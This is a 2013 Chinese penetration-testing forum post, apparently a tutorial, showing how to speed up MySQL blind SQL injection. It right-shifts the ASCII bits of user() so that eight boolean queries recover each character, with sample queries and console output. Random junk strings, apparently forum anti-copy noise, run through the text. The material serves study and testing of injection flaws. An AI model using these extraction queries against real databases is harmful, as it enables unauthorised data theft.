中国网络渗透测试联盟

标题: 关于通过对8bit的ascii做右位移提高mysql盲注效率 [打印本页]

作者: admin    时间: 2013-3-7 13:25
标题: 关于通过对8bit的ascii做右位移提高mysql盲注效率
通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位
* a) o3 f. x4 G( D
) A4 R! j( N- J2 u  e0 Q6 U ) x" k- t5 n& p$ O2 W5 X
& S  j$ e0 H# I! M6 `" T9 m
下面将以查询mysql数据库当中user()的第一位为例:
6 S' C. p8 F) d, I9 a& Y6 q4 H- a+ i9 n% {+ O! x; A# n4 ]

0 \! d- E# F: \; @$ R: \; p
9 m, P3 d( u+ k/ e3 @% ops:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)/ I# J( ^/ j6 u4 p; Y( s; ]
7 ]( [& G. T1 W4 V2 g5 ^' s4 y% G

8 G% T' n7 z7 F4 {) O
" u4 k2 z2 Z: `2 W3 L首先执行如下sql语句:
. F, c9 N* N$ Y! G+ z! v! e- L! H: s# q) j9 S, X

* B5 L3 G/ f* K4 w6 ]! |- n2 i& b7 t7 |7 a" A
mysql> select (ascii((substr(user(),1,1))) >> 7)=0;
7 D; B% E7 \( \6 l3 j0 n  r5 _! s- w; }  e
1 |& B& ?& I2 Y

, {2 R8 O( R$ R1 t7 x; k/ S我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的
2 ]7 m0 ]3 Z" ?. N8 V7 t4 K* C6 L" K; `
- h9 {5 {- I0 U- @8 _
3 |: A. @& J- }- @  P+ L0 `" s$ x1 Y# _: b
第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为15 c. [5 o$ X$ T8 D" ~9 v

5 ~# }  u2 K( y+ Q9 F. L: g* K
/ k; ~0 x( {* B" R) z8 m: i7 O  ], m& r2 ?0 ~
如果运算结果为1,说明第一位为0,不为1
- {3 W# b3 X  s7 U/ I
' o8 B1 _0 c4 U  z + I' C( T* M! z. [

. m8 _- q# @- X+————————————–+4 L* Y+ o* Q5 ]
- V5 k  K8 H+ r# s9 [. i
| (ascii((substr(user(),1,1))) >> 7)=0 |
) V. i5 t) P3 t9 F! V# O
/ \  d) S/ k3 |" J' X# |+————————————–+, X; n/ U" @1 m( S& w5 a
' z3 M: o2 ^% X! B! w. L: k$ o
| 1 |* e+ y; d0 m7 k4 B- M9 q  m
; H. @% i" ^7 Q! V( Z' b% c
+————————————–+
" p2 n6 ?; V3 Q+ M6 r; U. ?% |
. X0 h+ B! f: r" ?+ r+ D( p. Z1 row in set (0.00 sec)
8 K8 q4 w# J7 Y6 \) T/ m# X- O+ f0 {. a9 P
这样我们就确定这个8bit的ascii的第一位为0. }; O" R1 e, k( P/ I
# I8 H0 K) h" p: P8 }8 F
$ u) H0 P$ q! ^0 q" b7 ~

* ^# @* J( ]4 s% m第二次我们来做6次右偏移来确定前两位
" n0 P  @7 a% ~" H; v& W& T  @+ ]0 i, G7 m9 {9 l/ S
4 J3 g# K1 q* m; O( Y

3 y% h& C% l' }& J2 a& k前两位可能是01或00,即依然可以与0做比较,6 d: _* T0 r( G; Q: L
3 Q) X: o6 g% B5 L
mysql> select (ascii((substr(user(),1,1))) >> 6)=0;
( d0 @7 w# R8 Y( W' n! I4 o  w: w. s! \6 M0 o3 v* q( C
+————————————–+
; ^4 b, O# x# z: Z$ L% J) ~4 I+ h+ ^& @6 g
| (ascii((substr(user(),1,1))) >> 6)=0 |6 j! ~+ v* T1 i& a" |% i0 H& Z7 N
% k, Y; y9 F+ Z5 h  M" H
+————————————–+
/ q* [3 p" `+ I! N$ R% Y  k0 y0 Z2 \
| 0 |- s% l% ]! b3 k% b7 \

& L# ^/ \: [9 Z1 i6 R+————————————–+3 _% s  c# H$ O& [7 N* K1 u

, L" T" }* t7 S2 J1 D- l1 row in set (0.00 sec)
$ U1 {* G6 \6 P8 M1 G' O; P/ ]3 ^+ L% u1 Z+ a
3 y" p0 c8 i* K1 q2 v
/ c2 d" {( t1 H, _4 _8 b' K
结果为0,即第二位为1
, ]( T* N3 h7 \$ E* j( C9 X% V$ w. S, O6 m4 i) f# g; `

; G7 c, ~# i- N4 U% r0 q; i8 |% Q, m4 T: r
开始猜测前三位为010或011
  K2 F9 H  s* _& O' B" u/ S
6 s" e  ~9 g; x4 C( V! Y ) U/ Y3 `6 \& ^& z! v" n, b

- `! n3 s- H3 e8 t( I) I  |让我们看看010和011的ascii码是多少
& ?' @  [( E3 {' w( B5 I( Z
4 O1 F$ G1 K, O% L0 }4 v
# {: M! D! x5 j5 I: T" t( S! y) K' d* h
分别查询select b’011′ select b’010′
0 A  ~# H6 l: b6 B4 K/ J' p
1 H0 K4 }& c6 D
/ U1 a9 ^9 g7 ?7 H
2 d! k% M2 [. d+ v! ~6 \获得结果 010 = 2 011 = 3! n$ F6 p8 N4 C- Y+ _, p
0 p. C' r4 M; ?# M, _# Y; Y) g
/ ^5 o0 v2 H, x$ E- y$ C5 U$ }- t

# ~' |0 z* U5 n) u  F' {: C) y% L执行如下sql:6 M/ r) c: _1 A- r

7 t3 Z& l1 v+ q# m2 `3 O+ s / c$ e% E4 X: o9 ]2 U; i

) N8 o( R. x% a% Q: Wmysql> select (ascii((substr(user(),1,1))) >> 5)=2;
8 Q" B1 r3 x6 L& ]: W$ _  Z3 R2 L6 U6 a5 ^' d( g$ e& X
+————————————–+4 _# K( a& a+ Z( p* J, Q

. s3 F  _$ a4 M| (ascii((substr(user(),1,1))) >> 5)=2 |: q% ^5 n9 o; P$ c2 S1 ^* g" r
" K: ]8 D$ C. T( a$ l2 y; q' n5 z
+————————————–+. ]7 p, n0 |8 V* k2 C5 V9 h; E
& @. I# d' S# o. [
| 0 |
$ q4 i" }2 y* K1 N( n9 q
1 y$ W7 }) |$ e7 r+————————————–+
9 F, f" r6 g1 V, ~* {8 O: D; ?+ [* J( X4 m$ u8 G8 I9 I& k& }0 g8 g
即前三位不为010,而是011+ _9 k) F$ M5 p

5 f: ?6 Q$ O8 P& a0 B5 @$ j7 a6 q# E# f& e
- f! e: G8 B: k8 D5 j& Z- ?/ W6 W: q& z/ |
直到获得最后一位
9 K1 Q* e5 U9 R% b6 x0 o7 O& `/ f; I' ]. o) V1 b

; v) t; C, a: G( ]7 j1 u, u
: P' m( l, o1 L* E. L2 B2 s最终结果为:01110010
  W1 T5 X/ W' b. u. i8 W0 ^2 i$ N" q- I  s) n/ t

& h0 {" d( V" L" O& L( X4 T  C( g4 |# S& F- T. `2 _, }# J7 D
转换一下:7 y* a5 \- N8 }: Q

4 X& L5 G- i8 q0 ?4 \ 9 b- H: C% J% L4 X! D, P

, e; c5 L9 y7 A/ U' Dselect b’01110010′
/ x0 u0 Y1 m5 A$ m+ d( j. j3 B
  s; A% m. t# g$ M1 f6 Z9 m
! w& ]8 p( T; h% y- R& w* L' [, y
查询结果
) h, }& E  R; I- @
* }; t, v, R7 o$ K' a ) Q& c. d/ i0 D4 `8 a. B

! |+ w, P" R% K+————-+0 _+ S% P0 i- \' ]% u
" R  }. O& X3 ~4 L7 B8 F2 ~
| b’01110010′ |# g% c, z  X( m- F+ W( i

5 I# z% t) h6 ]1 f3 G: [+————-+
+ u; w- G: Z/ f# A' |* D
8 C; u. H. Q0 n. {  j| r |
: F% R# v4 v6 n) A, Y2 r  v9 ?+ L3 q7 w& y& H5 D1 y  z# z
+————-++ Q+ p; f" c: J$ ~# q  a9 y- ]

" A+ _1 t4 H+ x! c1 row in set (0.00 sec)5 `/ _" M1 \" K$ }2 l3 {+ G2 u2 R
8 w( A8 a: O  X$ A) G( s
, X& P1 @. K, r* y/ K

6 K% H% L$ v1 `+ M& j/ `这样我们就获得了user()的第一位.其它位依此类推
3 ^7 o( @2 M. U& P- @4 T
9 h( f7 _  h8 k' k% V1 S




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2